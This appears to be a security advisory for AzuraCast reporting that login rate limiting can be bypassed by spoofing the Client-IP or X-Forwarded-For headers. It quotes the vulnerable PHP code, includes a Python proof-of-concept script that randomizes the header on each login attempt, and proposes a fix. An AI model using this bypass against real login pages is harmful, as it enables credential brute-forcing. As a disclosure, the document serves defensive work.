Description

The request rate limiting feature on the login page can be bypassed.

If we look at the code in src/Controller/Frontend/Account/LoginAction.php

$this->rateLimit->checkRequestRateLimit($request, 'login', 30, 5);

We see that checkRequestRateLimit() is invoked with a restriction of a maxmimum of 5 requests per 30 seconds.

Looking at some of the code from src/RateLimit.php

    public function checkRequestRateLimit(
        ServerRequest $request,
        string $groupName,
        int $interval = 5,
        int $limit = 2
    ): void {
        if ($this->environment->isTesting() || $this->environment->isCli()) {
            return;
        }

        $ipKey = str_replace([':', '.'], '_', $request->getIp());
        $this->checkRateLimit($groupName, $ipKey, $interval, $limit);
    }

and

    public function checkRateLimit(
        string $groupName,
        string $key,
        int $interval = 5,
        int $limit = 2
    ): void {
        $cacheStore = new CacheStorage($this->psr6Cache);

        $config = [
            'id' => 'ratelimit.' . $groupName,
            'policy' => 'sliding_window',
            'interval' => $interval . ' seconds',
            'limit' => $limit,
        ];

        $rateLimiterFactory = new RateLimiterFactory($config, $cacheStore, $this->lockFactory);
        $rateLimiter = $rateLimiterFactory->create($key);

        if (!$rateLimiter->consume()->isAccepted()) {
            throw new Exception\RateLimitExceededException();
        }
    }

We see that the create() function is called with a key value originating from the function $request->getIp() or ServerRequest::getIp()

    public function getIp(): string
    {
        $params = $this->serverRequest->getServerParams();

        $ip = $params['HTTP_CLIENT_IP']
            ?? $params['HTTP_X_FORWARDED_FOR']
            ?? $params['HTTP_X_FORWARDED']
            ?? $params['HTTP_FORWARDED_FOR']
            ?? $params['HTTP_FORWARDED']
            ?? $params['REMOTE_ADDR']
            ?? null;

        if (null === $ip) {
            throw new RuntimeException('No IP address attached to this request.');
        }

        // Handle the IP being separated by commas.
        $ipParts = explode(',', $ip);
        $ip = array_shift($ipParts);

        return trim($ip);
    }

Notice how this function first checks for a value inside non-default headers like Client-IP or X-Forwarded-For which can contain arbitrary contents. This allows an attacker to randomly generate a new value for any of these headers on each subsequent request to completely bypass the rate-limiting.

Proof of Concept

Run the following python script against an installation of AzuraCast and see how the second loop, which introduces a random Client-IP header on every request never hits the rate-limiting exception while the first one does after 5 tries (as expected):

#!/usr/bin/env python3

import requests

login_url = "http://localhost/login"
data = {"username":"root@localhost.local", "password": "xxx"}

for i in range(0,100):
    print(i)
    r = requests.post(login_url, data=data)
    if "You have attempted" in r.text:
        print(f"hit rate limiting after {i} tries")
        break

# now try with a randomized CLIENT_IP header

for i in range(0,100):
    print(i)
    headers = {"Client-Ip" : str(i)}
    print(headers)
    r = requests.post(login_url, data=data, headers=headers)
    if "You have attempted" in r.text:
                print(f"hit rate limiting after {i} tries")
                exit()

Fix

Either completely remove reliance on any header besides REMOTE_ADDR (since that is set to the actual IP address of the incoming request by PHP) or only trust the other non-standard headers IF and ONLY IF a setting is enabled that indicates a reverse proxy is being used, in that case you can trust the values passed in these headers.

Impact

An attacker might be able to bruteforce login data.